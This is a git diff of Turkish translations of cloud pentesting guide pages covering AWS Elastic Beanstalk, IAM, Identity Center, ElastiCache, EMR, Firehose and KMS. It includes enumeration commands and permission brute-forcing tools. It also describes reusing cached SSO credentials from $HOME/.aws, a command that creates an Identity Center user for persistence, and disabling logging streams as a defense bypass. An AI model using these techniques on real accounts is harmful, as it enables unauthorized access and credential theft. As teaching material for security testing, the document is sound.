ortam yapılandırmasına göre gerekli kaynakları (örneğin, EC2 örnekleri, yük dengeleyiciler, otomatik ölçekleme grupları, veritabanları) sağlar. - **Her ortam, uygulamanızın tek bir sürümünü çalıştırır** ve geliştirme, test, sahneleme ve üretim gibi farklı amaçlar için birden fazla ortamınız olabilir. -- Bir ortam oluşturduğunuzda, bir platform (örneğin, Java, .NET, Node.js vb.) ve bir ortam türü (örneğin, web sunucusu veya işçi) seçersiniz. Ayrıca, altyapının ve uygulama ayarlarının çeşitli yönlerini kontrol etmek için ortam yapılandırmasını özelleştirebilirsiniz. +- Bir ortam oluşturduğunuzda, bir platform (örneğin, Java, .NET, Node.js, vb.) ve bir ortam türü (örneğin, web sunucusu veya işçi) seçersiniz. Ayrıca, altyapının ve uygulama ayarlarının çeşitli yönlerini kontrol etmek için ortam yapılandırmasını özelleştirebilirsiniz. ### 2 Tür Ortam -1. **Web Sunucusu Ortamı**: **Web uygulamalarını ve API'leri barındırmak ve sunmak için** tasarlanmıştır. Bu uygulamalar genellikle gelen HTTP/HTTPS isteklerini işler. Web sunucusu ortamı, gelen trafiği yönetmek, kapasiteyi kontrol etmek ve uygulamanın yüksek kullanılabilirliğini sağlamak için **EC2 örnekleri, yük dengeleyiciler ve otomatik ölçekleme** grupları gibi kaynakları sağlar. -2. **İşçi Ortamı**: **Arka plan görevlerini** işlemek için tasarlanmıştır; bu görevler genellikle zaman alıcı veya kaynak yoğun işlemlerdir ve müşterilere anında yanıt gerektirmez. İşçi ortamı, **EC2 örnekleri ve otomatik ölçekleme grupları** gibi kaynakları sağlar, ancak doğrudan HTTP/HTTPS isteklerini işlemediği için **bir yük dengeleyiciye sahip değildir**. Bunun yerine, işçi ortamı, işlediği görevler ile işçi ortamı arasında bir tampon görevi gören **Amazon Basit Kuyruk Servisi (SQS) kuyruğundan** görevleri tüketir. +1. **Web Sunucusu Ortamı**: **Web uygulamalarını ve API'leri barındırmak ve sunmak için** tasarlanmıştır. Bu uygulamalar genellikle gelen HTTP/HTTPS isteklerini işler. Web sunucusu ortamı, gelen trafiği yönetmek, kapasiteyi yönetmek ve uygulamanın yüksek kullanılabilirliğini sağlamak için **EC2 örnekleri, yük dengeleyiciler ve otomatik ölçekleme** grupları gibi kaynakları sağlar. +2. **İşçi Ortamı**: **Arka plan görevlerini** işlemek için tasarlanmıştır; bu görevler genellikle zaman alıcı veya kaynak yoğun işlemlerdir ve müşterilere anında yanıt gerektirmez. İşçi ortamı, **EC2 örnekleri ve otomatik ölçekleme grupları** gibi kaynakları sağlar, ancak doğrudan HTTP/HTTPS isteklerini işlemediği için **bir yük dengeleyiciye sahip değildir**. Bunun yerine, işçi ortamı, işlediği görevler ile işçi ortamı arasında bir tampon görevi gören **Amazon Simple Queue Service (SQS) kuyruğundan** görevleri tüketir. ### Güvenlik @@ -47,24 +47,24 @@ Beanstalk'ta bir Uygulama oluştururken seçilecek 3 çok önemli güvenlik seç - **EC2 anahtar çifti**: Bu, uygulamayı çalıştıran EC2 örneklerine erişebilecek **SSH anahtarı** olacaktır. - **IAM örnek profili**: Bu, örneklerin sahip olacağı **örnek profilidir** (**IAM ayrıcalıkları**). -- Otomatik olarak oluşturulan rol **`aws-elasticbeanstalk-ec2-role`** olarak adlandırılır ve AWS yönetilen politikaları kullanarak tüm ECS, tüm SQS, DynamoDB elasticbeanstalk ve elasticbeanstalk S3 üzerinde bazı ilginç erişimlere sahiptir: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- Otomatik olarak oluşturulan rol **`aws-elasticbeanstalk-ec2-role`** olarak adlandırılır ve tüm ECS, tüm SQS, DynamoDB elasticbeanstalk ve elasticbeanstalk S3 üzerinde bazı ilginç erişimlere sahiptir; AWS yönetilen politikaları kullanır: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). - **Hizmet rolü**: Bu, **AWS hizmetinin** gerekli tüm eylemleri gerçekleştirmek için kullanacağı **roldür**. Bildiğim kadarıyla, normal bir AWS kullanıcısı bu role erişemez. - AWS tarafından oluşturulan bu rol **`aws-elasticbeanstalk-service-role`** olarak adlandırılır ve AWS yönetilen politikaları [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) ve [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) kullanır. -Varsayılan olarak **metadata sürümü 1 devre dışı** bırakılmıştır: +Varsayılan olarak **metadata sürüm 1 devre dışı**:
### Maruz Kalma -Beanstalk verileri, aşağıdaki isimle bir **S3 kovasında** saklanır: **`elasticbeanstalk--`** (eğer AWS konsolunda oluşturulmuşsa). Bu kovada, yüklenen **uygulama kaynak kodunu** bulacaksınız. +Beanstalk verileri, aşağıdaki isimle bir **S3 bucket** içinde saklanır: **`elasticbeanstalk--`** (eğer AWS konsolunda oluşturulmuşsa). Bu bucket içinde, yüklenen **uygulama kaynak kodunu** bulacaksınız. Oluşturulan web sayfasının **URL'si** **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> Eğer kova üzerinde **okuma erişimi** elde ederseniz, **kaynak kodunu okuyabilir** ve hatta üzerinde **hassas kimlik bilgilerini** bulabilirsiniz. +> Eğer bucket üzerinde **okuma erişimi** elde ederseniz, **kaynak kodunu okuyabilir** ve hatta üzerinde **hassas kimlik bilgilerini** bulabilirsiniz. > -> Eğer kova üzerinde **yazma erişimi** elde ederseniz, **kaynak kodunu değiştirebilir** ve uygulamanın bir sonraki çalıştırılmasında kullanılan **IAM rolünü tehlikeye atabilirsiniz**. +> Eğer bucket üzerinde **yazma erişimi** elde ederseniz, **kaynak kodunu değiştirebilir** ve uygulamanın bir sonraki çalıştırılmasında kullanılan **IAM rolünü tehlikeye atabilirsiniz**. ### Sayım ```bash @@ -102,7 +102,7 @@ aws elasticbeanstalk describe-events ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Saldırı Sonrası +### Sonrası İstismar {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index e089adca4..75b03b778 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache, yüksek performans, düşük gecikme süresi ve ölçeklenebilir çözümler sunan tamamen **yönetilen bir bellek içi veri deposu ve önbellek hizmetidir**. İki popüler açık kaynak bellek içi motorunu destekler: **Redis ve Memcached**. ElastiCache, bu motorların **kurulumunu**, **yönetimini** ve **bakımını** **basitleştirir**, geliştiricilerin sağlama, yamanın uygulanması, izleme ve **yedekleme** gibi zaman alıcı görevleri üstlenmelerine olanak tanır. +AWS ElastiCache, uygulamalar için yüksek performans, düşük gecikme süresi ve ölçeklenebilir çözümler sunan tamamen **yönetilen bir bellek içi veri deposu ve önbellek hizmetidir**. İki popüler açık kaynak bellek içi motorunu destekler: **Redis ve Memcached**. ElastiCache, bu motorların **kurulumunu**, **yönetimini** ve **bakımını** **basitleştirir**, geliştiricilerin sağlama, yamanlama, izleme ve **yedekleme** gibi zaman alıcı görevleri üstlenmelerine olanak tanır. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index f38300caf..00c39ee4d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,7 +4,7 @@ ## EMR -AWS'nin Elastic MapReduce (EMR) hizmeti, 4.8.0 sürümünden itibaren, EMR kümeleri içinde dinlenme ve aktarımda verilerin şifrelenme ayarlarını belirleme imkanı sunarak veri korumasını artıran bir **güvenlik yapılandırması** özelliği tanıttı. EMR kümeleri, büyük veri çerçevelerini işlemek için tasarlanmış ölçeklenebilir EC2 örnek gruplarıdır. +AWS'nin Elastic MapReduce (EMR) hizmeti, 4.8.0 sürümünden itibaren, EMR kümeleri içinde dinlenme ve aktarımda verilerin şifreleme ayarlarını belirtme imkanı sunarak veri korumasını artıran bir **güvenlik yapılandırması** özelliği tanıttı. EMR kümeleri, büyük veri çerçevelerini işlemek için tasarlanmış ölçeklenebilir EC2 örnek gruplarıdır. Ana özellikler şunlardır: @@ -22,17 +22,17 @@ Bir TLS sertifika sağlayıcısı güvenlik yapılandırmasına entegre edildikt - **Hadoop**: - TLS kullanarak şifrelenmiş shuffle'ı azaltabilir. -- Dinlenme şifrelemesi ile Güvenli Hadoop RPC ve HDFS Blok Transferi AES-256 ile etkinleştirilir. +- Dinlenme şifrelemesi ile Güvenli Hadoop RPC ve HDFS Blok Transferi AES-256 ile etkinleştirilmiştir. - **Presto** (EMR sürüm 5.6.0+): -- Presto düğümleri arasındaki iç iletişim SSL ve TLS kullanılarak güvence altına alınır. +- Presto düğümleri arasındaki iç iletişim SSL ve TLS kullanılarak güvence altına alınmıştır. - **Tez Shuffle Handler**: - Şifreleme için TLS kullanır. - **Spark**: - Akka protokolü için TLS kullanır. - Blok Transfer Servisi için Basit Kimlik Doğrulama Güvenlik Katmanı ve 3DES kullanır. -- Dış shuffle servisi, Basit Kimlik Doğrulama Güvenlik Katmanı ile güvence altına alınır. +- Dış shuffle servisi, Basit Kimlik Doğrulama Güvenlik Katmanı ile güvence altına alınmıştır. -Bu özellikler, özellikle depolama ve iletim aşamalarında veri koruma açısından EMR kümelerinin güvenlik duruşunu artırır. +Bu özellikler, özellikle depolama ve iletim aşamalarında veri koruma ile ilgili olarak EMR kümelerinin güvenlik duruşunu artırır. #### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index ebfcccfe2..12a54a07b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -94,31 +94,31 @@ Kendi izinlerinizle ilgileniyorsanız ancak IAM sorgulamak için erişiminiz yok #### bf-aws-permissions -Araç [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions), belirtilen profili kullanarak **`list*`, `describe*`, `get*`** eylemlerini `aws` cli yardım mesajlarını kullanarak bulup çalıştıran bir bash betiğidir ve **başarılı yürütmeleri** döndürür. +Araç [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions), belirtilen profili kullanarak **`list*`, `describe*`, `get*`** eylemlerini bulmak için `aws` cli yardım mesajlarını kullanarak çalışacak bir bash betiğidir ve **başarılı yürütmeleri** döndürecektir. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` #### bf-aws-perms-simulate -Araç [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate), **`iam:SimulatePrincipalPolicy`** iznine sahipseniz mevcut izinlerinizi (veya diğer yetkililerin izinlerini) bulabilir. +Araç [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate), **`iam:SimulatePrincipalPolicy`** iznine sahipseniz, mevcut izinlerinizi (veya diğer ilkelerin izinlerini) bulabilir. ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -Eğer **kullanıcınızın sahip olduğu bazı izinler bulduysanız** ve bunların **yönetilen bir AWS rolü** tarafından verildiğini düşünüyorsanız (veya özel bir rol tarafından değilse). Bulduğunuz izinleri veren **AWS yönetilen rollerini** kontrol etmek için [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) aracını kullanabilirsiniz. +Eğer **kullanıcınızın sahip olduğu bazı izinler bulduysanız** ve bunların **yönetilen bir AWS rolü** tarafından verildiğini düşünüyorsanız (veya özel bir rol tarafından değilse). Bulduğunuz **izinleri veren tüm AWS yönetilen rollerini** kontrol etmek için [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) aracını kullanabilirsiniz. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` > [!WARNING] -> AWS yönetilen bir rol tarafından verilen izinlere sahip olup olmadığınızı "bilmek" mümkündür, örneğin **kullanılmayan hizmetler üzerinde izinlerinizin olduğunu gördüğünüzde**. +> AWS yönetilen bir rol tarafından verilen izinlere sahip olup olmadığınızı "bilmek" mümkündür, eğer **kullanılmayan hizmetler üzerinde izinleriniz olduğunu görüyorsanız** örneğin. #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) , **herkes veya sadece belirli bir kullanıcı veya rol tarafından yapılan eylemleri çıkarmak ve özetlemek için AWS CloudTrail günlüklerini analiz eden** bir Python aracıdır. Araç, **belirtilen bucket'tan her cloudtrail günlüğünü ayrıştıracaktır**. +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) , **AWS CloudTrail günlüklerini analiz eden ve herkesin veya sadece belirli bir kullanıcının veya rolün yaptığı eylemleri özetleyen** bir Python aracıdır. Araç, **belirtilen bucket'tan her cloudtrail günlüğünü ayrıştıracaktır.** ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM @@ -126,11 +126,11 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> Eğer .tfstate (Terraform durum dosyaları) veya CloudFormation dosyaları (genellikle cf-templates ön eki ile bir bucket içinde bulunan yaml dosyalarıdır) bulursanız, aws yapılandırmasını bulmak ve hangi izinlerin kime atandığını öğrenmek için bunları da okuyabilirsiniz. +> Eğer .tfstate (Terraform durum dosyaları) veya CloudFormation dosyaları (genellikle cf-templates ön eki ile bir bucket içinde bulunan yaml dosyalarıdır) bulursanız, aws yapılandırmasını bulmak ve kimin hangi izinlere sahip olduğunu öğrenmek için bunları da okuyabilirsiniz. #### enumerate-iam -Aracı kullanmak için [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) önce tüm API AWS uç noktalarını indirmeniz gerekiyor, bu uç noktalardan **`generate_bruteforce_tests.py`** scripti tüm **"list\_", "describe\_", ve "get\_" uç noktalarını alacak.** Ve sonunda, verilen kimlik bilgileriyle **erişmeye çalışacak** ve **başarıp başaramadığını belirtecek.** +Aracı kullanmak için [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) önce tüm API AWS uç noktalarını indirmeniz gerekir, bu uç noktalardan **`generate_bruteforce_tests.py`** scripti tüm **"list\_", "describe\_", ve "get\_" uç noktalarını alacaktır.** Ve sonunda, verilen kimlik bilgileri ile **erişmeye çalışacak** ve **başarıp başaramadığını belirtecektir.** (Benim deneyimime göre **araç bir noktada takılıyor**, [**bu düzeltmeye göz atın**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) bunu düzeltmeye çalışmak için). @@ -178,7 +178,7 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` -#### İzinleri BF ile Güçlendirme Araçları +#### İzinleri BF için Güçlendirme Araçları {{#tabs }} {{#tab name="CloudSploit" }} @@ -210,7 +210,7 @@ steampipe dashboard Önceki araçların hiçbiri tüm izinleri kontrol etme kapasitesine sahip değildir, bu yüzden daha iyi bir araç biliyorsanız bir PR gönderin! -### Kimlik Doğrulama Olmadan Erişim +### Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -218,13 +218,13 @@ steampipe dashboard ### Yetki Yükseltme -Aşağıdaki sayfada **IAM izinlerini kötüye kullanarak yetki yükseltmeyi** nasıl yapacağınızı kontrol edebilirsiniz: +Aşağıdaki sayfada **IAM izinlerini kötüye kullanarak yetki yükseltme** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Sonrası Sömürü +### IAM Sonrası İstismar {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md @@ -238,7 +238,7 @@ Aşağıdaki sayfada **IAM izinlerini kötüye kullanarak yetki yükseltmeyi** n ## IAM Kimlik Merkezi -**IAM Kimlik Merkezi'nin** tanımını burada bulabilirsiniz: +**IAM Kimlik Merkezi** hakkında bir açıklama bulabilirsiniz: {{#ref}} ../aws-basic-information/ @@ -263,10 +263,10 @@ Identity Center'ın ana unsurları şunlardır: - İzin Setleri: Politikalara sahiptir - AWS Hesapları -Daha sonra, kullanıcıların/ grupların AWS Hesabı üzerinde İzin Setlerine sahip olması için ilişkiler oluşturulur. +Daha sonra, kullanıcılar/ gruplar için AWS Hesabı üzerinde İzin Setleri oluşturulur. > [!NOTE] -> Politikalara bir İzin Setine eklemenin 3 yolu olduğunu unutmayın. AWS yönetilen politikalarını eklemek, Müşteri yönetilen politikalarını eklemek (bu politikaların İzin Setinin etki ettiği tüm hesaplarda oluşturulması gerekir) ve yerel politikalar (orada tanımlanmış). +> Politikalara bir İzin Seti'ne eklemenin 3 yolu olduğunu unutmayın. AWS yönetilen politikalarını eklemek, Müşteri yönetilen politikalarını eklemek (bu politikaların, İzin Seti'nin etki ettiği tüm hesaplarda oluşturulması gerekir) ve orada tanımlanan satır içi politikalar. ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -300,9 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` -### Local Enumeration +### Yerel Enumere Etme -`$HOME/.aws` klasörü içinde SSO aracılığıyla erişilebilen profilleri yapılandırmak için config dosyası oluşturmak mümkündür, örneğin: +`$HOME/.aws` klasörü içinde, SSO aracılığıyla erişilebilen profilleri yapılandırmak için config dosyası oluşturmak mümkündür, örneğin: ```ini [default] region = us-west-2 @@ -327,9 +327,9 @@ aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` -When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. +Bir **SSO profilinin kullanılması** durumunda bazı bilgilere erişmek için, kimlik bilgileri **`$HOME/.aws/sso/cache`** klasörü içindeki bir dosyada **önbelleğe alınır**. Bu nedenle, buradan **okunabilir ve kullanılabilir**. -Ayrıca, **daha fazla kimlik bilgisi** **` +Ayrıca, **daha fazla kimlik bilgisi** **`$HOME/.aws/cli/cache`** klasöründe saklanabilir. Bu önbellek dizini, IAM kullanıcı kimlik bilgilerini kullanan veya IAM aracılığıyla (SSO olmadan) roller **üstlenen** AWS CLI profilleri ile çalışırken esasen kullanılır. Konfigürasyon örneği: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -363,10 +363,10 @@ external_id = 123456 aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` -- Bir grup oluşturun ve ona izinler atayın ve kontrol edilen bir kullanıcıyı atayın +- Bir grup oluşturun ve ona izinler atayın ve kontrol edilen bir kullanıcı belirleyin - Kontrol edilen bir kullanıcıya veya gruba ek izinler verin - Varsayılan olarak, yalnızca Yönetim Hesabındaki izinlere sahip kullanıcılar IAM Kimlik Merkezi'ne erişebilecek ve kontrol edebilecektir. -Ancak, Farklı bir hesaptan kullanıcıların bunu yönetmesine izin vermek için Delegeli Yönetici aracılığıyla mümkündür. Tam olarak aynı izne sahip olmayacaklar, ancak [**yönetim faaliyetlerini**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) gerçekleştirebileceklerdir. +Ancak, Farklı bir hesaptan kullanıcıların bunu yönetmesine izin vermek için Delegeli Yönetici aracılığıyla mümkündür. Tam olarak aynı izinlere sahip olmayacaklar, ancak [**yönetim faaliyetlerini**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) gerçekleştirebilecekler. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index b2b8929b4..b540842a4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,9 +4,9 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose, **gerçek zamanlı akış verilerinin** teslimatını kolaylaştıran **tamamen yönetilen bir hizmettir**. Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk ve özel HTTP uç noktaları dahil olmak üzere çeşitli varış noktalarını destekler. +Amazon Kinesis Data Firehose, **gerçek zamanlı akış verilerinin** teslimatını kolaylaştıran **tamamen yönetilen bir hizmettir**. Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk ve özel HTTP uç noktaları gibi çeşitli hedefleri destekler. -Hizmet, veri üreticilerinin verileri doğrudan Kinesis Data Firehose'a iletmek üzere yapılandırılmasına olanak tanıyarak uygulama yazma veya kaynak yönetme ihtiyacını ortadan kaldırır. Bu hizmet, **verilerin belirtilen varış noktasına otomatik teslimatından** sorumludur. Ayrıca, Kinesis Data Firehose, **verilerin teslimatından önce dönüştürülmesi** seçeneği sunarak esnekliğini ve çeşitli kullanım durumlarına uygulanabilirliğini artırır. +Hizmet, veri üreticilerinin verileri doğrudan Kinesis Data Firehose'a iletmek üzere yapılandırılmasına olanak tanıyarak uygulama yazma veya kaynak yönetme ihtiyacını ortadan kaldırır. Bu hizmet, **verilerin belirtilen hedefe otomatik teslimatından** sorumludur. Ayrıca, Kinesis Data Firehose, **verilerin teslimatından önce dönüştürülmesi** seçeneğini sunarak esnekliğini ve çeşitli kullanım durumlarına uygulanabilirliğini artırır. ### Enumeration ```bash @@ -20,7 +20,7 @@ aws firehose describe-delivery-stream --delivery-stream-name | grep -i Ro ``` ## Post-exploitation / Defense Bypass -Eğer firehose, logları veya savunma içgörülerini göndermek için kullanılıyorsa, bu işlevsellikleri kullanarak bir saldırganın düzgün çalışmasını engelleyebilir. +Eğer firehose, günlükleri veya savunma içgörülerini göndermek için kullanılıyorsa, bu işlevsellikleri kullanarak bir saldırganın düzgün çalışmasını engelleyebilir. ### firehose:DeleteDeliveryStream ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index 77002801e..e7b3bcefc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,21 +4,21 @@ ## KMS - Anahtar Yönetim Servisi -AWS Anahtar Yönetim Servisi (AWS KMS), kullanıcıların **müşteri anahtarlarını oluşturmasını ve yönetmesini** basitleştiren yönetilen bir hizmet olarak sunulmaktadır. Bu müşteri anahtarları, kullanıcı verilerinin şifrelenmesinde kritik bir rol oynamaktadır. AWS KMS'in dikkat çekici bir özelliği, müşteri anahtarlarının çoğunlukla **donanım güvenlik modülleri** (HSM'ler) tarafından **güvence altına alınmasıdır**, bu da şifreleme anahtarlarının korunmasını artırır. +AWS Anahtar Yönetim Servisi (AWS KMS), kullanıcıların **müşteri anahtarlarını oluşturmasını ve yönetmesini** kolaylaştıran bir yönetilen hizmet olarak sunulmaktadır. Bu müşteri anahtarları, kullanıcı verilerinin şifrelenmesinde kritik bir rol oynamaktadır. AWS KMS'in dikkat çekici bir özelliği, müşteri anahtarlarının çoğunlukla **donanım güvenlik modülleri** (HSM'ler) tarafından **güvence altına alınmasıdır**, bu da şifreleme anahtarlarının korunmasını artırır. KMS, **simetrik kriptografi** kullanır. Bu, **verileri dinlenme halinde şifrelemek için** kullanılır (örneğin, bir S3 içinde). Eğer **verileri iletim sırasında şifrelemeniz** gerekiyorsa, **TLS** gibi bir şey kullanmalısınız. KMS, **bölgeye özgü bir hizmettir**. -**Amazon'daki yöneticiler anahtarlarınıza erişemez**. Anahtarlarınızı kurtaramazlar ve anahtarlarınızın şifrelenmesine yardımcı olamazlar. AWS, yalnızca işletim sistemini ve altında yatan uygulamayı yönetir; anahtarlarımızı yönetmek ve bu anahtarların nasıl kullanılacağını yönetmek bizim sorumluluğumuzdur. +**Amazon'daki yöneticilerin anahtarlarınıza erişimi yoktur**. Anahtarlarınızı geri alamazlar ve anahtarlarınızın şifrelenmesine yardımcı olamazlar. AWS, yalnızca işletim sistemini ve altında yatan uygulamayı yönetir; şifreleme anahtarlarımızı yönetmek ve bu anahtarların nasıl kullanılacağını yönetmek bizim sorumluluğumuzdur. -**Müşteri Anahtarları** (CMK): Boyutu 4KB'a kadar olan verileri şifreleyebilir. Genellikle DEK'leri (Veri Şifreleme Anahtarları) oluşturmak, şifrelemek ve şifre çözmek için kullanılır. Daha sonra DEK'ler verileri şifrelemek için kullanılır. +**Müşteri Anahtarları** (CMK): 4KB boyutuna kadar veri şifreleyebilir. Genellikle DEK'leri (Veri Şifreleme Anahtarları) oluşturmak, şifrelemek ve şifre çözmek için kullanılır. Daha sonra DEK'ler verileri şifrelemek için kullanılır. -Bir müşteri anahtarının (CMK) AWS KMS'deki anahtarın mantıksal bir temsilidir. Anahtarın tanımlayıcıları ve diğer meta verilerin yanı sıra, oluşturulma tarihi, açıklama ve anahtar durumu gibi bilgileri içerir; **CMK, verileri şifrelemek ve şifre çözmek için kullanılan anahtar materyalini içerir**. Bir CMK oluşturduğunuzda, varsayılan olarak AWS KMS, o CMK için anahtar materyalini oluşturur. Ancak, anahtar materyali olmadan bir CMK oluşturmayı seçebilir ve ardından kendi anahtar materyalinizi o CMK'ye içe aktarabilirsiniz. +Bir müşteri anahtarının (CMK) AWS KMS'deki anahtarın mantıksal bir temsili vardır. Anahtarın tanımlayıcıları ve diğer meta verilerin yanı sıra, oluşturulma tarihi, açıklama ve anahtar durumu gibi bilgiler de içerir; **CMK, verileri şifrelemek ve şifre çözmek için kullanılan anahtar materyalini içerir**. Bir CMK oluşturduğunuzda, varsayılan olarak AWS KMS, o CMK için anahtar materyalini oluşturur. Ancak, anahtar materyali olmadan bir CMK oluşturmayı seçebilir ve ardından kendi anahtar materyalinizi o CMK'ye içe aktarabilirsiniz. İki tür anahtar vardır: -- **AWS yönetilen CMK'ler: Diğer hizmetler tarafından verileri şifrelemek için kullanılır**. Oluşturulduğu bölgedeki hizmet tarafından kullanılır. Bu hizmette şifrelemeyi ilk kez uyguladığınızda oluşturulurlar. Her 3 yılda bir döner ve değiştirilmesi mümkün değildir. +- **AWS yönetilen CMK'ler: Diğer hizmetler tarafından veri şifrelemek için kullanılır**. Oluşturulduğu bölgede, onu oluşturan hizmet tarafından kullanılır. Bu hizmette şifrelemeyi ilk kez uyguladığınızda oluşturulurlar. Her 3 yılda bir döner ve değiştirilmesi mümkün değildir. - **Müşteri yönetici CMK'ler**: Esneklik, döngü, yapılandırılabilir erişim ve anahtar politikası. Anahtarları etkinleştirme ve devre dışı bırakma. **Zarf Şifrelemesi**, Anahtar Yönetim Servisi (KMS) bağlamında: **verileri veri anahtarı ile şifrelemek ve ardından veri anahtarını anahtar ile şifrelemek için iki katmanlı hiyerarşi sistemi**. @@ -29,7 +29,7 @@ Bunlar, **KMS'de bir anahtarı kimin kullanabileceğini ve erişebileceğini tan **Varsayılan olarak:** -- **KMS anahtarını yöneten AWS hesabının IAM'ine erişim** verir. +- KMS anahtarına erişim yönetimini sağlamak için **KMS anahtarını sahip olan AWS hesabının IAM'ine** erişim verir. Diğer AWS kaynak politikalarından farklı olarak, bir AWS **KMS anahtar politikası, hesabın herhangi bir ilkesine otomatik olarak izin vermez**. Hesap yöneticilerine izin vermek için, **anahtar politikasının bu izni sağlayan açık bir ifade içermesi gerekir**, bu şekilde. @@ -37,7 +37,7 @@ Diğer AWS kaynak politikalarından farklı olarak, bir AWS **KMS anahtar politi - **Anahtar politikasına ek olarak, KMS anahtarına erişim sağlamak için IAM politikalarını kullanmasına izin verir**. -**Bu izin olmadan, anahtara erişim sağlayan IAM politikaları etkisizdir**, ancak anahtara erişimi reddeden IAM 